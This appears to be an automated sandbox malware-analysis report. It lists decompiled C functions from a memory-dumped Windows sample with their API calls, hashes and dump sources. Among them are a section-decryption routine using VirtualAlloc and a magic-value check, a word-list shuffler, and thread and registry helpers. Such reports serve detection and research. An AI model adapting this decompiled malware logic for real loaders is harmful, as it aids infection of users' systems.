API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: 89b18032a3daf340721b0be3e661531d762351afa7e7b7224476b404ed0e2ff8
Instruction ID: f2d0cdd871dbb9c5445dc91ea26ca8cb127a4f6dae896ef6131c9292cbfa060f
Opcode Fuzzy Hash: 89b18032a3daf340721b0be3e661531d762351afa7e7b7224476b404ed0e2ff8
Instruction Fuzzy Hash: A751D471E00219ABDB23ABFBD94CB5F77A8EB04610F04853BE501DB2F5E674954A8F50

Uniqueness

Uniqueness Score: -1.00%

Function 014062DA, Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145
stringCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E014062DA(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E0140A71F(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E0140A734(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E0140A71F((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0x140d278 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124); // executed
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}

0x014062e1
0x014062e8
0x014062ed
0x014062f0
0x014062f7
0x014062fa
0x014062fd
0x01406302
0x01406307
0x0140645b
0x0140645d
0x0140645f
0x01406464
0x01406464
0x0140630d
0x01406310
0x01406313
0x01406315
0x01406315
0x01406319
0x00000000
0x00000000
0x0140631d
0x01406349
0x0140634e
0x01406350
0x01406350
0x01406353
0x01406356
0x01406356
0x01406358
0x00000000
0x01406323
0x01406325
0x01406344
0x01406344
0x0140635b
0x0140635b
0x0140635c
0x0140635c
0x0140635f
0x00000000
0x00000000
0x00000000
0x0140635f
0x01406329
0x01406370
0x01406374
0x0140644e
0x01406450
0x01406450
0x01406451
0x01406454
0x00000000
0x01406454
0x0140637d
0x0140638e
0x01406392
0x0140644a
0x00000000
0x0140644a
0x01406398
0x0140639b
0x0140639f
0x014063a3
0x014063a8
0x01406440
0x01406440
0x00000000
0x01406446
0x014063b3
0x014063bc
0x014063d0
0x014063d7
0x014063ec
0x014063f2
0x014063fa
0x00000000
0x00000000
0x00000000
0x00000000
0x014063fc
0x014063fc
0x014063fc
0x01406403
0x0140640b
0x00000000
0x00000000
0x0140640d
0x01406416
0x00000000
0x00000000
0x00000000
0x01406418
0x0140641a
0x0140641d
0x0140641d
0x01406420
0x01406424
0x01406427
0x0140642d
0x01406430
0x01406437
0x00000000
0x014063b3
0x0140632e
0x01406336
0x0140633c
0x0140633e
0x0140633e
0x01406341
0x01406343
0x00000000
0x01406343
0x0140631d
0x01406363
0x01406368
0x0140636a
0x0140636a
0x0140636d
0x0140636d
0x00000000

APIs

Part of subcall function 0140A71F: RtlAllocateHeap.NTDLL(00000000,00000000,01405595), ref: 0140A72B

lstrcpy.KERNEL32(63699BC4,00000020), ref: 014063D7
lstrcat.KERNEL32(63699BC4,00000020), ref: 014063EC
lstrcmp.KERNEL32(00000000,63699BC4), ref: 01406403
lstrlen.KERNEL32(63699BC4), ref: 01406427

Strings

, xrefs: 01406370

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
String ID:
API String ID: 3214092121-3916222277
Opcode ID: aefe1c0bf4dbded1d34a0ff4b0b15c4c4789bf88f492b2852522676bdfc1ee7b
Instruction ID: 28fcbb2776a4b87554fa661a1e13467c074793750ce0183a47579aa091df6062
Opcode Fuzzy Hash: aefe1c0bf4dbded1d34a0ff4b0b15c4c4789bf88f492b2852522676bdfc1ee7b
Instruction Fuzzy Hash: 1151A871900118EBDF22DF9AC5846AEBBB6FF45314F16C077E9169B2A1C7709A61CB80

Uniqueness

Uniqueness Score: -1.00%

Function 10001717, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E10001717(void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				char _v12;
				void* _v16;
				unsigned int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				void* _v36;
				signed int _v40;
				signed char _v44;
				void* _v48;
				signed int _v56;
				signed int _v60;
				intOrPtr _t50;
				void* _t57;
				void* _t61;
				signed int _t67;
				signed char _t69;
				signed char _t70;
				void* _t76;
				intOrPtr _t77;
				unsigned int _t82;
				intOrPtr _t86;
				intOrPtr* _t89;
				intOrPtr _t90;
				void* _t91;
				signed int _t93;

				_t90 =  *0x10004130;
				_t50 = E1000193C(_t90,  &_v28,  &_v20);
				_v24 = _t50;
				if(_t50 == 0) {
					asm("sbb ebx, ebx");
					_t67 =  ~( ~(_v20 & 0x00000fff)) + (_v20 >> 0xc);
					_t91 = _t90 + _v28;
					_v48 = _t91;
					_t57 = VirtualAlloc(0, _t67 << 0xc, 0x3000, 4); // executed
					_t76 = _t57;
					_v36 = _t76;
					if(_t76 == 0) {
						_v24 = 8;
					} else {
						_t69 = 0;
						if(_t67 <= 0) {
							_t77 =  *0x10004140;
						} else {
							_t86 = _a4;
							_v8 = _t91;
							_v8 = _v8 - _t76;
							_t14 = _t86 + 0x100051a7; // 0x3220a9c2
							_t61 = _t57 - _t91 + _t14;
							_v16 = _t76;
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t70 = _t69 + 1;
								_v44 = _t70;
								_t82 = (_v60 ^ _v56) + _v28 + _a4 >> _t70;
								if(_t82 != 0) {
									_v32 = _v32 & 0x00000000;
									_t89 = _v16;
									_v12 = 0x400;
									do {
										_t93 =  *((intOrPtr*)(_v8 + _t89));
										_v40 = _t93;
										if(_t93 == 0) {
											_v12 = 1;
										} else {
											 *_t89 = _t93 + _v32 - _t82;
											_v32 = _v40;
											_t89 = _t89 + 4;
										}
										_t33 =  &_v12;
										 *_t33 = _v12 - 1;
									} while ( *_t33 != 0);
								}
								_t69 = _v44;
								_t77 =  *((intOrPtr*)(_t61 + 0xc)) -  *((intOrPtr*)(_t61 + 8)) +  *((intOrPtr*)(_t61 + 4));
								_v16 = _v16 + 0x1000;
								 *0x10004140 = _t77;
							} while (_t69 < _t67);
						}
						if(_t77 != 0x63699bc3) {
							_v24 = 0xc;
						} else {
							memcpy(_v48, _v36, _v20);
						}
						VirtualFree(_v36, 0, 0x8000); // executed
					}
				}
				return _v24;
			}

0x1000171e
0x1000172e
0x10001733
0x10001738
0x1000174d
0x10001754
0x10001759
0x1000176a
0x1000176d
0x10001773
0x10001775
0x1000177a
0x10001856
0x10001780
0x10001780
0x10001784
0x1000181c
0x1000178a
0x1000178b
0x10001790
0x10001793
0x10001796
0x10001796
0x1000179d
0x100017a0
0x100017a8
0x100017a9
0x100017aa
0x100017b1
0x100017b5
0x100017bb
0x100017bf
0x100017c1
0x100017c5
0x100017c8
0x100017cf
0x100017d2
0x100017d5
0x100017da
0x100017f0
0x100017dc
0x100017e6
0x100017e8
0x100017eb
0x100017eb
0x100017f7
0x100017f7
0x100017f7
0x100017cf
0x10001802
0x10001805
0x10001808
0x1000180f
0x10001815
0x10001819
0x10001828
0x1000183d
0x1000182a
0x10001833
0x10001838
0x1000184e
0x1000184e
0x1000185d
0x10001863

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,00000000), ref: 1000176D
memcpy.NTDLL(?,?,?,?,?,?,00000000), ref: 10001833
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?,00000000), ref: 1000184E

Strings

Jun 9 2021, xrefs: 100017A0

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Jun 9 2021
API String ID: 4010158826-3443083063
Opcode ID: d6042d630db185a82e5861430691fbc1b34c09e24367e0ba5c4772c9cdc59302
Instruction ID: 8656aceba1012af9c0f70d32315d13d0163f230196990492a5e13c96c74a3fde
Opcode Fuzzy Hash: d6042d630db185a82e5861430691fbc1b34c09e24367e0ba5c4772c9cdc59302
Instruction Fuzzy Hash: 45415E75D0121A9FEB05CF98C880BDEBBB6FF48390F258129E90477248CB75AA45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01403AB0, Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 01403B0D
SysAllocString.OLEAUT32(014085ED), ref: 01403B51
SysFreeString.OLEAUT32(00000000), ref: 01403B65
SysFreeString.OLEAUT32(00000000), ref: 01403B73

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: e8a1c7c46cd930148927e3342f5b3442ff57a1272ece225ee479ab77cafbe603
Instruction ID: 62800ae3ba9c4001edd533e81583594e52f9653b2869dea7729c8fdef1f57ab4
Opcode Fuzzy Hash: e8a1c7c46cd930148927e3342f5b3442ff57a1272ece225ee479ab77cafbe603
Instruction Fuzzy Hash: 0B312E71900609EFCB16DFDAD8C08AE7FB9FF48314B10852EF60697261D7349A41CB65

Uniqueness

Uniqueness Score: -1.00%

Function 01406545, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E01406545(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E0140A71F(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x01406551
0x01406555
0x01406556
0x01406557
0x01406559
0x0140655b
0x0140655e
0x01406563
0x014065fa
0x01406601
0x01406601
0x0140656c
0x01406573
0x01406583
0x01406583
0x01406589
0x0140658b
0x01406590
0x01406599
0x0140659f
0x014065a4
0x014065af
0x014065b3
0x014065b5
0x014065b6
0x014065bf
0x014065c3
0x014065d4
0x014065c5
0x014065ca
0x014065cf
0x014065de
0x014065de
0x014065b3
0x014065e4
0x014065ea
0x014065ea
0x014065f3
0x014065f8
0x014065f8
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 01406573
lstrlenW.KERNEL32(?), ref: 014065A9
memcpy.NTDLL(00000000,?,?,?), ref: 014065CA
SysFreeString.OLEAUT32(?), ref: 014065DE

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: 2e40cfabbcc7d5766e58ff10ed8a36f00a2452a0da9a5eaf06cf190eff30753c
Instruction ID: 19be66b13f0bdc392540e65f8766fd387dc4c6b0eb538e8d2e0b5c581a72ffb0
Opcode Fuzzy Hash: 2e40cfabbcc7d5766e58ff10ed8a36f00a2452a0da9a5eaf06cf190eff30753c
Instruction Fuzzy Hash: 2521747590020AEFDB12DFAAD98499EBBF4FF49204B1141BAE906D7364EB31DA11CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0140486F, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0140486F(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E0140A71F(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x140c284); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x140c284);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x0140487a
0x0140487e
0x01404880
0x01404881
0x01404889
0x01404889
0x0140488d
0x00000000
0x00000000
0x01404884
0x01404885
0x01404888
0x01404888
0x01404895
0x0140489a
0x014048a0
0x014048a8
0x014048ae
0x014048b0
0x014048b5
0x014048b9
0x014048bb
0x014048be
0x014048c5
0x014048c5
0x014048cf
0x014048d2
0x014048d3
0x014048d5
0x014048e1
0x014048e1
0x014048ee

APIs

StrChrA.SHLWAPI(?,00000020,00000000,025095AC,?,01405D25,?,0140243F,025095AC,?,01405D25), ref: 01404889
StrTrimA.KERNELBASE(?,0140C284,00000002,?,01405D25,?,0140243F,025095AC,?,01405D25), ref: 014048A8
StrChrA.SHLWAPI(?,00000020,?,01405D25,?,0140243F,025095AC,?,01405D25), ref: 014048B3
StrTrimA.SHLWAPI(00000001,0140C284,?,01405D25,?,0140243F,025095AC,?,01405D25), ref: 014048C5

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 20afde4bddd3606db3ee6e6e547039c45bc6978c126d698a251670591c4c7235
Instruction ID: 3449987737cbda76abc4a0e3f3afe6349363c53f15c72c0f8446902d3b6528a3
Opcode Fuzzy Hash: 20afde4bddd3606db3ee6e6e547039c45bc6978c126d698a251670591c4c7235
Instruction Fuzzy Hash: 7801BE76A053529BD2239F5B8C48F277F98EB45994F15052EFA41C7390DB70C505C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 100015EA, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E100015EA(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E10001456(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x100015f3
0x100015f8
0x10001606
0x1000160b
0x1000160b
0x10001611
0x10001616
0x1000161a
0x1000161e
0x1000161e
0x10001628
0x10001631

APIs

GetCurrentThread.KERNEL32 ref: 100015ED
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 100015F8
SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 1000160B
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 1000161E

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: a5dee3e18e06bf60a8ab408e9f78a11656e4bb42588931547f78162ab20c471f
Instruction ID: b2e2ff5a5641eaa5a328bf891337565213f3a8f6a6c1ebe89abd2415300766a4
Opcode Fuzzy Hash: a5dee3e18e06bf60a8ab408e9f78a11656e4bb42588931547f78162ab20c471f
Instruction Fuzzy Hash: 52E092312076616BF302AB294C84EAF679CDF853F17028326F920D22E4DF658C0189B8

Uniqueness

Uniqueness Score: -1.00%

Function 01408D14, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01408D14(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E0140A2F9(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x140d2a8; // 0x10fa5a8
				_t4 = _t24 + 0x140edc0; // 0x2509368
				_t5 = _t24 + 0x140ed68; // 0x4f0053
				_t26 = E01405356( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x140d2a8; // 0x10fa5a8
						_t11 = _t32 + 0x140edb4; // 0x250935c
						_t48 = _t11;
						_t12 = _t32 + 0x140ed68; // 0x4f0053
						_t52 = E014045C6(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0x140d2a8; // 0x10fa5a8
							_t13 = _t35 + 0x140edfe; // 0x30314549
							if(E01408E27(_t48, _t50, _t59, _v8, _t52, _t13, 0x14) == 0) {
								_t61 =  *0x140d25c - 6;
								if( *0x140d25c <= 6) {
									_t42 =  *0x140d2a8; // 0x10fa5a8
									_t15 = _t42 + 0x140ec0a; // 0x52384549
									E01408E27(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0x140d2a8; // 0x10fa5a8
							_t17 = _t38 + 0x140edf8; // 0x25093a0
							_t18 = _t38 + 0x140edd0; // 0x680043
							_t45 = E01405D7D(_v8, 0x80000001, _t52, _t18, _t17);
							HeapFree( *0x140d238, 0, _t52);
						}
					}
					HeapFree( *0x140d238, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E01404F14(_t54);
				}
				return _t45;
			}

0x01408d14
0x01408d24
0x01408d27
0x01408d2e
0x01408d30
0x01408d30
0x01408d33
0x01408d38
0x01408d3f
0x01408d4c
0x01408d51
0x01408d55
0x01408d63
0x01408d71
0x01408d75
0x01408e06
0x01408e06
0x01408d7b
0x01408d7b
0x01408d80
0x01408d80
0x01408d87
0x01408d93
0x01408d95
0x01408d97
0x01408d99
0x01408da0
0x01408db2
0x01408db4
0x01408dbb
0x01408dbd
0x01408dc4
0x01408dcf
0x01408dcf
0x01408dbb
0x01408dd4
0x01408dd9
0x01408de0
0x01408dfe
0x01408e00
0x01408e00
0x01408d97
0x01408e12
0x01408e12
0x01408e14
0x01408e19
0x01408e1b
0x01408e1b
0x01408e26

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,02509368,00000000,?,7519F710,00000000,7519F730), ref: 01408D63
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,025093A0,?,00000000,30314549,00000014,004F0053,0250935C), ref: 01408E00
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,0140523E), ref: 01408E12

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: a00bccd5b16270fb8bb97b74fc440e3f2f7bd9936b74e4a2558822db59a703b4
Instruction ID: 798b3e24ded522f23234a86fa4d7975f8f262dcdfe50e6662f865b7e13e6badf
Opcode Fuzzy Hash: a00bccd5b16270fb8bb97b74fc440e3f2f7bd9936b74e4a2558822db59a703b4
Instruction Fuzzy Hash: 6B319231D0011ABFDB23EBDBDE48D9A7BBDEF54714F04016AA600A71B0D6709E59DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0140A376, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0140A376(void* __ecx, void* __edx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t30;
				void* _t36;
				void* _t40;
				intOrPtr _t42;

				_t36 = __edx;
				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0x140d340; // 0x2509a88
				_push(0x800);
				_push(0);
				_push( *0x140d238);
				if( *0x140d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0x140d24c =  *0x140d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E01407306(_t44, _t40); // executed
						_t18 = E01404A09(_t40, _t44); // executed
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0x140d24c < 5) {
								 *0x140d24c =  *0x140d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E01406761();
						RtlFreeHeap( *0x140d238, 0, _t40); // executed
						goto L10;
					}
					_t24 = E01401F13(_a4, _t32, _t36, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				if(RtlAllocateHeap() == 0) {
					goto L6;
				}
				_t24 = E01404AB6(_a4, _t32, _t36, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

0x0140a376
0x0140a376
0x0140a379
0x0140a37a
0x0140a384
0x0140a38b
0x0140a390
0x0140a392
0x0140a398
0x0140a3c0
0x0140a3d8
0x0140a3da
0x0140a3db
0x0140a3dd
0x0140a41b
0x0140a41b
0x0140a421
0x0140a427
0x0140a427
0x0140a3df
0x0140a3e5
0x0140a3e8
0x0140a3f7
0x0140a3f9
0x0140a400
0x0140a434
0x0140a439
0x0140a43b
0x0140a43d
0x0140a43d
0x00000000
0x0140a43b
0x0140a402
0x0140a407
0x0140a415
0x00000000
0x0140a415
0x0140a3cf
0x0140a3d4
0x0140a3d4
0x00000000
0x0140a3d4
0x0140a3a2
0x00000000
0x00000000
0x0140a3b1
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,7519F710), ref: 0140A39A

Part of subcall function 01404AB6: GetTickCount.KERNEL32 ref: 01404ACA
Part of subcall function 01404AB6: wsprintfA.USER32 ref: 01404B1A
Part of subcall function 01404AB6: wsprintfA.USER32 ref: 01404B37
Part of subcall function 01404AB6: wsprintfA.USER32 ref: 01404B63
Part of subcall function 01404AB6: HeapFree.KERNEL32(00000000,?), ref: 01404B75
Part of subcall function 01404AB6: wsprintfA.USER32 ref: 01404B96
Part of subcall function 01404AB6: HeapFree.KERNEL32(00000000,?), ref: 01404BA6
Part of subcall function 01404AB6: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 01404BD4
Part of subcall function 01404AB6: GetTickCount.KERNEL32 ref: 01404BE5

RtlAllocateHeap.NTDLL(00000000,00000800,7519F710), ref: 0140A3B8
RtlFreeHeap.NTDLL(00000000,00000002,01405289,?,01405289,00000002,?,?,01405D5E,?), ref: 0140A415

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: 50d06044943a6c2824406b4ca53ac8ce1a0caab5906951bf88be274dade9329c
Instruction ID: 9976ac892bf00827a62f3e28cf50299f6480a1ac7bf2ec2f92048e28a693a017
Opcode Fuzzy Hash: 50d06044943a6c2824406b4ca53ac8ce1a0caab5906951bf88be274dade9329c
